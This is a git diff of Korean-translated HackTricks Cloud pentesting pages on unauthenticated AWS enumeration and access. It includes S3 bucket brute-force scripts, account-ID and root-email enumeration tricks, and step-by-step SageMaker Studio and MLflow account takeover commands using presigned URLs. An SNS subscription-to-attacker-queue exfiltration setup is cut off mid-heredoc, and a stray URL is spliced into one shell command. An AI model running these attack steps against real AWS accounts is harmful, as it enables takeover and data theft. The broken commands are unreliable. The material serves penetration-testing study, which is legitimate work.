for "Any Authenticated AWS User" permissions -#--recursive if you want list recursivelyls -#Opcionally you can select the region if you now it -aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] -``` -버킷에 도메인 이름이 없는 경우, 열거하려고 할 때 **버킷 이름만 입력**하고 전체 AWSs3 도메인은 입력하지 마십시오. 예: `s3://` - -### 공개 URL 템플릿 -``` -https://{user_provided}.s3.amazonaws.com -``` -### 공개 버킷에서 계정 ID 가져오기 - -새로운 **`S3:ResourceAccount`** **정책 조건 키**를 활용하여 AWS 계정을 확인할 수 있습니다. 이 조건은 **계정이 있는 S3 버킷**에 따라 접근을 **제한**합니다 (다른 계정 기반 정책은 요청하는 주체가 있는 계정에 따라 제한합니다).\ -정책에 **와일드카드**가 포함될 수 있기 때문에 **한 번에 하나의 숫자**로 계정 번호를 찾는 것이 가능합니다. - -이 도구는 이 과정을 자동화합니다: -```bash -# Installation -pipx install s3-account-search -pip install s3-account-search -# With a bucket -s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket -# With an object -s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext -``` -이 기술은 API Gateway URL, Lambda URL, Data Exchange 데이터 세트와 태그 값을 가져오는 데에도 작동합니다(태그 키를 알고 있는 경우). 더 많은 정보는 [**원본 연구**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)와 이 취약점을 자동화하는 도구 [**conditional-love**](https://github.com/plerionhq/conditional-love/)에서 찾을 수 있습니다. - -### 버킷이 AWS 계정에 속하는지 확인하기 - -[**이 블로그 게시물**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)에서 설명한 바와 같이, **버킷을 나열할 수 있는 권한이 있는 경우** 요청을 보내어 버킷이 속한 accountID를 확인할 수 있습니다: -```bash -curl -X GET "[bucketname].amazonaws.com/" \ --H "x-amz-expected-bucket-owner: [correct-account-id]" - - -... -``` -“Access Denied” 오류가 발생하면 계정 ID가 잘못되었다는 의미입니다. - -### 루트 계정 열거를 위한 사용된 이메일 - -[**이 블로그 게시물**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)에서 설명한 바와 같이, S3 버킷에 대한 ACL을 통해 이메일 주소에 권한을 부여하려고 시도함으로써 해당 이메일 주소가 AWS 계정과 관련이 있는지 확인할 수 있습니다. 오류가 발생하지 않으면, 해당 이메일이 일부 AWS 계정의 루트 사용자임을 의미합니다. -```python -s3_client.put_bucket_acl( -Bucket=bucket_name, -AccessControlPolicy={ -'Grants': [ -{ -'Grantee': { -'EmailAddress': 'some@emailtotest.com', -'Type': 'AmazonCustomerByEmail', -}, -'Permission': 'READ' -}, -], -'Owner': { -'DisplayName': 'Whatever', -'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' -} -} -) -``` -## References - -- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) -- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md new file mode 100644 index 000000000..38f24f310 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md @@ -0,0 +1,194 @@ +# AWS - S3 Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 공개 버킷 + +버킷은 버킷의 내용을 누구나 열람(목록 확인)할 수 있으면 **“public”**으로 간주되고, 버킷의 내용이 특정 사용자만 열람하거나 작성할 수 있으면 **“private”**로 간주됩니다. + +기업은 버킷 권한이 잘못 구성되어 모든 것에 접근을 허용하거나 AWS의 어떤 계정으로 인증된 모든 사용자에게(즉 누구에게나) 접근을 허용할 수 있습니다. 다만 이러한 잘못된 구성에도 불구하고 버킷 자체의 access control lists (ACLs) 때문에 일부 작업은 수행할 수 없을 수도 있습니다. + +**AWS-S3 잘못된 구성에 대해 알아보기:** [**http://flaws.cloud**](http://flaws.cloud/) **및** [**http://flaws2.cloud/**](http://flaws2.cloud) + +### AWS 버킷 찾기 + +웹페이지가 AWS를 사용해 리소스를 저장하는 경우를 찾는 여러 방법: + +#### Enumeration & OSINT: + +- **wappalyzer** 브라우저 플러그인 사용 +- burp(**spidering** the web)를 사용하거나 페이지를 수동으로 탐색하면 로드된 모든 **resources**가 History에 저장됩니다. +- 다음과 같은 도메인에서 **resources**를 확인: + +``` +http://s3.amazonaws.com/[bucket_name]/ +http://[bucket_name].s3.amazonaws.com/ +``` + +- `resources.domain.com`이 `bucket.s3.amazonaws.com` 같은 CNAME을 가질 수 있으므로 **CNAMES**를 확인 +- **[s3dns](https://github.com/olizimmermann/s3dns)** – DNS 트래픽을 분석해 클라우드 스토리지 버킷(S3, GCP, Azure)을 수동적으로 식별하는 경량 DNS 서버입니다. CNAME을 감지하고 해석 체인을 따라가며 버킷 패턴과 매칭하여 brute-force 또는 API 기반 검색의 시끄러운 대안이 됩니다. recon 및 OSINT 워크플로에 적합합니다. +- 이미 발견된 open buckets를 모아둔 사이트 [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) 확인 +- **버킷 이름(bucket name)**과 **버킷 도메인 이름(bucket domain name)**은 **같아야 합니다.** +- **flaws.cloud**는 IP 52.92.181.107을 사용하며 해당 주소로 접속하면 [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/)로 리다이렉트됩니다. 또한, `dig -x 52.92.181.107`의 결과는 `s3-website-us-west-2.amazonaws.com`입니다. +- 버킷인지 확인하려면 [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/)를 방문해보세요. + +#### Brute-Force + +pentesting 대상 회사와 관련된 이름을 brute-forcing하여 버킷을 찾을 수 있습니다: + +- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) +- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) +- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (잠재적 버킷 이름 리스트 포함) +- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) +- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) +- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) +- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3) +- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) +- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) + +
# Generate a wordlist to create permutations
+curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
+curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
+cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
+
+# Generate a wordlist based on the domains and subdomains to test
+## Write those domains and subdomains in subdomains.txt
+cat subdomains.txt > /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
+
+# Create permutations based in a list with the domains and subdomains to attack
+goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
+## The previous tool is specialized increating permutations for subdomains, lets filter that list
+### Remove lines ending with "."
+cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
+### Create list without TLD
+cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
+### Create list without dots
+cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
+### Create list without hyphens
+cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
+
+## Generate the final wordlist
+cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
+
+## Call s3scanner
+s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
+
+ +#### S3 버킷에서 정보 수집 + +S3 오픈 버킷이 있을 경우, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot)는 자동으로 흥미로운 정보를 검색할 수 있습니다. + +### 리전 확인 + +지원되는 모든 AWS 리전은 [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html)에서 확인할 수 있습니다 + +#### DNS로 확인 + +발견한 IP에 대해 **`dig`** 또는 **`nslookup`**을 사용해 **DNS 요청**을 하면 버킷의 리전을 확인할 수 있습니다: +```bash +dig flaws.cloud +;; ANSWER SECTION: +flaws.cloud. 5 IN A 52.218.192.11 + +nslookup 52.218.192.11 +Non-authoritative answer: +11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. +``` +Check that the resolved domain have the word "website".\ +You can access the static website going to: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ +or you can access the bucket visiting: `flaws.cloud.s3-us-west-2.amazonaws.com` + + + +#### 시도해보기 + +버킷에 접근하려고 시도했는데 **도메인 이름에 다른 리전을 지정한 경우** (예: 버킷은 `bucket.s3.amazonaws.com`에 있지만 `bucket.s3-website-us-west-2.amazonaws.com`에 접근하려고 하면), 그러면 **올바른 위치로 안내됩니다**: + +![](<../../../images/image (106).png>) + +### 버킷 열거 + +버킷의 공개 여부를 테스트하려면 사용자가 웹 브라우저에 URL을 입력하면 됩니다. 비공개 버킷은 "Access Denied"로 응답합니다. 공개 버킷은 저장된 첫 1,000개의 객체를 나열합니다. + +모두에게 공개: + +![](<../../../images/image (201).png>) + +비공개: + +![](<../../../images/image (83).png>) + +You can also check this with the cli: +```bash +#Use --no-sign-request for check Everyones permissions +#Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions +#--recursive if you want list recursivelyls +#Opcionally you can select the region if you now it +aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] +``` +bucket에 도메인 이름이 없으면, enumerate하려 할 때 전체 AWSs3 도메인을 적지 말고 **bucket 이름만** 넣으세요. 예: `s3://` + +### 공개 URL 템플릿 +``` +https://{user_provided}.s3.amazonaws.com +``` +### 공개 Bucket에서 Account ID 얻기 + +AWS 계정을 새 **`S3:ResourceAccount`** **Policy Condition Key**를 이용해 확인할 수 있습니다. 이 조건은 계정이 속한 S3 bucket을 기준으로 액세스를 제한합니다 (다른 계정 기반 정책은 요청하는 주체가 속한 계정을 기준으로 제한합니다).\ +그리고 정책이 **wildcards**를 포함할 수 있기 때문에 계정 번호를 **한 숫자씩** 알아내는 것이 가능합니다. + +이 도구는 이 과정을 자동화합니다: +```bash +# Installation +pipx install s3-account-search +pip install s3-account-search +# With a bucket +s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket +# With an object +s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext +``` +이 기법은 API Gateway URLs, Lambda URLs, Data Exchange data sets에서도 작동하며, 태그 키를 알고 있다면 태그 값까지 얻을 수 있습니다. 자세한 내용과 이 exploitation을 자동화하는 도구는 [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)와 [**conditional-love**](https://github.com/plerionhq/conditional-love/)를 참고하세요. + +### 버킷이 AWS 계정에 속하는지 확인하기 + +[**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, 버킷을 나열할 권한이 있다면** 버킷이 속한 accountID를 다음과 같은 요청을 전송해 확인할 수 있습니다: +```bash +curl -X GET "[bucketname].amazonaws.com/" \ +-H "x-amz-expected-bucket-owner: [correct-account-id]" + + +... +``` +If the error is an “Access Denied” it means that the account ID was wrong. + +### 이메일을 root account enumeration으로 사용 + +As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), ACLs를 통해 S3 버킷에 이메일 권한을 부여해보면 해당 이메일 주소가 어떤 AWS account와 연관되어 있는지 확인할 수 있습니다. 이 시도가 오류를 발생시키지 않으면 해당 이메일은 어떤 AWS 계정의 root user임을 의미합니다: +```python +s3_client.put_bucket_acl( +Bucket=bucket_name, +AccessControlPolicy={ +'Grants': [ +{ +'Grantee': { +'EmailAddress': 'some@emailtotest.com', +'Type': 'AmazonCustomerByEmail', +}, +'Permission': 'READ' +}, +], +'Owner': { +'DisplayName': 'Whatever', +'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' +} +} +) +``` +## 참고자료 + +- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) +- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md new file mode 100644 index 000000000..49a2c11d5 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md @@ -0,0 +1,108 @@ +# AWS - SageMaker 무단 접근 + +{{#include ../../../../banners/hacktricks-training.md}} + +## SageMaker Studio - Account Takeover via CreatePresignedDomainUrl (Impersonate Any UserProfile) + +### 설명 +타겟 Studio `UserProfile`에 대해 `sagemaker:CreatePresignedDomainUrl`을 호출할 수 있는 권한을 가진 주체는 해당 프로필로 직접 인증되는 로그인 URL을 생성할 수 있습니다. 이는 공격자의 브라우저에 프로필의 `ExecutionRole` 권한을 상속받고 프로필의 EFS 기반 홈 및 앱에 대한 전체 접근 권한을 가진 Studio 세션을 제공합니다. `iam:PassRole`이나 콘솔 접근은 필요하지 않습니다. + +### 요구사항 +- SageMaker Studio `Domain` 및 그 안의 대상 `UserProfile`. +- 공격자 주체는 대상 `UserProfile`에 대해 `sagemaker:CreatePresignedDomainUrl`(리소스‑레벨) 또는 `*` 권한이 필요합니다. + +최소 권한 정책 예시 (하나의 UserProfile로 범위 지정): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sagemaker:CreatePresignedDomainUrl", +"Resource": "arn:aws:sagemaker:::user-profile//" +} +] +} +``` +### 악용 단계 + +1) 대상으로 삼을 수 있는 Studio Domain과 UserProfiles를 열거합니다 +```bash +DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text) +aws sagemaker list-user-profiles --domain-id-equals $DOM +TARGET_USER= +``` +2) presigned URL 생성 (기본적으로 약 5분 동안 유효) +```bash +aws sagemaker create-presigned-domain-url \ +--domain-id $DOM \ +--user-profile-name $TARGET_USER \ +--query AuthorizedUrl --output text +``` +3) 반환된 URL을 브라우저에서 열어 대상 사용자로 Studio에 로그인합니다. Studio 내부의 Jupyter 터미널에서 적용된 계정을 확인합니다: +```bash +aws sts get-caller-identity +``` +Notes: +- `--landing-uri`는 생략할 수 있습니다. 일부 값(e.g., `app:JupyterLab:/lab`)은 Studio의 flavor/version에 따라 거부될 수 있으며; 기본값은 일반적으로 Studio 홈으로 리다이렉트한 후 Jupyter로 이동합니다. +- 조직 정책/VPC 엔드포인트 제한으로 인해 네트워크 접근이 여전히 차단될 수 있습니다; 토큰 발급은 콘솔 로그인이나 `iam:PassRole`을 필요로 하지 않습니다. + +### Impact +- 허용된 ARN을 가진 어떤 Studio `UserProfile`라도 가정(assume)함으로써 해당 `ExecutionRole`과 파일시스템/앱을 상속받아 측면 이동(lateral movement) 및 권한 상승(privilege escalation)이 가능합니다. + +### Evidence (from a controlled test) +- 대상 `UserProfile`에 `sagemaker:CreatePresignedDomainUrl`만 있을 때, 공격자 역할은 다음과 같은 `AuthorizedUrl`을 성공적으로 반환했습니다: +``` +https://studio-d-xxxxxxxxxxxx.studio..sagemaker.aws/auth?token=eyJhbGciOi... +``` +- 직접 HTTP 요청은 Studio로 리다이렉트(HTTP 302)로 응답하여 해당 URL이 만료될 때까지 유효하고 활성 상태임을 확인합니다. + + +## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl + +### 설명 +대상 SageMaker MLflow Tracking Server에 대해 `sagemaker:CreatePresignedMlflowTrackingServerUrl`를 호출할 수 있는 권한을 가진 주체는 해당 서버의 관리되는 MLflow UI에 직접 인증하는 단일 사용 presigned URL을 발급할 수 있습니다. 이는 콘솔 액세스나 `iam:PassRole` 없이도 합법적인 사용자가 서버에서 가지는 동일한 접근 권한(실험 및 런 보기/생성, 서버의 S3 artifact 저장소에서 아티팩트 다운로드/업로드)을 부여합니다. + +### 요구 사항 +- 계정/리전 내에 SageMaker MLflow Tracking Server와 해당 서버의 이름이 있어야 합니다. +- 공격자 principal은 대상 MLflow Tracking Server 리소스(또는 `*`)에 대해 `sagemaker:CreatePresignedMlflowTrackingServerUrl` 권한이 필요합니다. + +최소 정책 예시(하나의 Tracking Server에만 범위 지정): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl", +"Resource": "arn:aws:sagemaker:::mlflow-tracking-server/" +} +] +} +``` +### 악용 단계 + +1) 대상으로 삼을 수 있는 MLflow Tracking Servers를 열거하고 하나의 이름을 선택하세요 +```bash +aws sagemaker list-mlflow-tracking-servers \ +--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}' +TS_NAME= +``` +2) 사전 서명된 MLflow UI URL 생성 (짧은 시간 동안 유효) +```bash +aws sagemaker create-presigned-mlflow-tracking-server-url \ +--tracking-server-name "$TS_NAME" \ +--expires-in-seconds 300 \ +--session-expiration-duration-in-seconds 1800 \ +--query AuthorizedUrl --output text +``` +3) 반환된 URL을 브라우저에서 열어 해당 Tracking Server의 인증된 사용자로서 MLflow UI에 액세스합니다. + +Notes: +- The Tracking Server must be in a ready state (e.g., `Created/Active`). If it is still `Creating`, the call will be rejected. +- The presigned URL is single‑use and short‑lived; generate a new one when needed. + +### 영향 +- 타깃 Tracking Server의 관리되는 MLflow UI에 직접 접근할 수 있습니다. 이를 통해 서버 구성으로 설정된 S3 artifact store에 저장된 아티팩트를 조회하거나 업로드하고, 실험/런을 조회·수정할 수 있으며, 이는 서버 구성에서 강제하는 권한 범위 내에서 가능합니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md deleted file mode 100644 index 60e4748e9..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - SNS 인증되지 않은 열거 - -{{#include ../../../banners/hacktricks-training.md}} - -## SNS - -SNS에 대한 자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-sns-enum.md -{{#endref}} - -### 모두에게 열림 - -웹 콘솔에서 SNS 주제를 구성할 때 **모두가 게시하고 구독할 수 있음**을 나타낼 수 있습니다: - -
- -따라서 **계정 내 주제의 ARN을 찾거나** 주제의 잠재적 이름을 무작위로 시도하면 **게시**하거나 **구독**할 수 있는지 **확인**할 수 있습니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md new file mode 100644 index 000000000..bb3721722 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md @@ -0,0 +1,55 @@ +# AWS - SNS Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +SNS에 대한 자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### 모두에게 공개 + +웹 콘솔에서 SNS 토픽을 구성할 때 토픽에 대해 **Everyone can publish and subscribe**를 허용하도록 설정할 수 있습니다: + +
+ +따라서 계정 내에서 토픽의 ARN을 찾거나(또는 토픽 이름을 brute forcing하여) 해당 토픽에 대해 **publish** 또는 **subscribe**할 수 있는지 **check**할 수 있습니다. + +이는 SNS 토픽 리소스 정책에서 `sns:Subscribe`를 `*`(또는 외부 계정)에 허용하는 것과 동일합니다. 어떤 principal이라도 자신이 소유한 SQS 큐로 모든 향후 토픽 메시지를 전달하는 subscription을 생성할 수 있습니다. 큐 소유자가 subscription을 시작하면 SQS 엔드포인트에 대해서는 사람의 확인이 필요하지 않습니다. + +
+재현 (us-east-1) +```bash +REGION=us-east-1 +# Victim account (topic owner) +VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text) + +# Open the topic to anyone subscribing +cat > /tmp/topic-policy.json < /tmp/sqs-policy.json < + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md deleted file mode 100644 index 8ad489510..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - SQS 인증되지 않은 열거 - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -SQS에 대한 자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### 공개 URL 템플릿 -``` -https://sqs.[region].amazonaws.com/[account-id]/{user_provided} -``` -### 권한 확인 - -SQS 큐 정책을 잘못 구성하여 AWS의 모든 사용자에게 메시지를 보내고 받을 수 있는 권한을 부여할 수 있으므로, 큐의 ARN을 얻으면 접근할 수 있는지 시도해 보십시오. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md new file mode 100644 index 000000000..fd60ad83b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md @@ -0,0 +1,21 @@ +# AWS - SQS Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +SQS에 대한 자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### 공개 URL 템플릿 +``` +https://sqs.[region].amazonaws.com/[account-id]/{user_provided} +``` +### 권한 확인 + +SQS 큐 정책을 잘못 구성하여 AWS의 모든 사용자에게 메시지 전송 및 수신 권한을 부여할 수 있으므로, 큐의 ARN을 얻었다면 접근할 수 있는지 시도해보세요. + +{{#include ../../../../banners/hacktricks-training.md}}